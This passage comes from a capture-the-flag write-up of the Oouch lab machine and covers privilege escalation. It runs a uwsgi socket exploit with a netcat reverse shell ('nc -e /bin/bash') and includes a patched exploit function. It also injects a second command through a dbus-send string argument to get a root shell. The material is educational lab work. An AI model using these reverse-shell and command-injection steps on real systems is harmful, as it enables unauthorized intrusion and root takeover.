gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true
  • There is a /tmp/uwsgi.socket file.

oouch/routes.py:

 # First apply our primitive xss filter
        if primitive_xss.search(form.textfield.data):
            bus = dbus.SystemBus()
            block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
            block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
  • dbus was previously mentioned in /home/qtc/.note.txt
  • dbus interface is htb.oouch.Block

On the main box there is a /etc/dbus-1/system.d/htb.oouch.Block.conf file!

$ cat htb.oouch.Block.conf
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
 "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
 "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

    <policy user="root">
        <allow own="htb.oouch.Block"/>
    </policy>

        <policy user="www-data">
                <allow send_destination="htb.oouch.Block"/>
                <allow receive_sender="htb.oouch.Block"/>
        </policy>

</busconfig>
  • user www-data can be a sender and a receiver too

uwsgi exploit

After some googling for uwsgi exploit I found this github repo: https://github.com/wofeiwo/webcgi-exploits

There was a python exploit POC script

I grabbed a static nc binary (from github.com/yunchih/static-binaries) and transfered the exploit and nc to the server with wget and python’s http.server module.

After all that I trasfered the 2 files to the container’s /tmp/.ayy_d directory with scp.

$ scp * qtc@172.18.0.2:/tmp/.ayy_d/

I ran the exploit(while I was listening on the host(172.17.0.1) with the nc I downloaded):

$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/.ayy_d/nc -e /bin/bash 172.17.0.1 1337"
  • but the exploit failed for the first time.
  • It needed a little edit(I removed the import bytes from the function sz)

Correct function:

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s)
    return s[::-1]
  • now I had to download and scp again…

I stared listening with nc on the host (as qtc) and I started the exploit!

I waited some time (~15 sec) and I got a shell as www-data!

qtc@oouch:/tmp/.ayy$ ./nc -lvnp 1337
Connection from 172.18.0.2:50658
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Using DBus for root privesc

Firstly I made my www-data shell a tty.

python -c 'import pty;pty.spawn("/bin/bash")'

I read the manual and some resources from the web for dbus.

$ man dbus-send

I used DBus and my nc binary to make a revshell to my local machine.

$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;/tmp/.ayy/nc -e /bin/bash 10.10.14.251 1338;"

After some seconds my nc returned:

connect to [10.10.14.251] from (UNKNOWN) [10.10.10.177] 47164
id
uid=0(root) gid=0(root) groups=0(root)

I was able to cat out /root/root.txt:

cat /root/root.txt
d434------------------------d030
Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z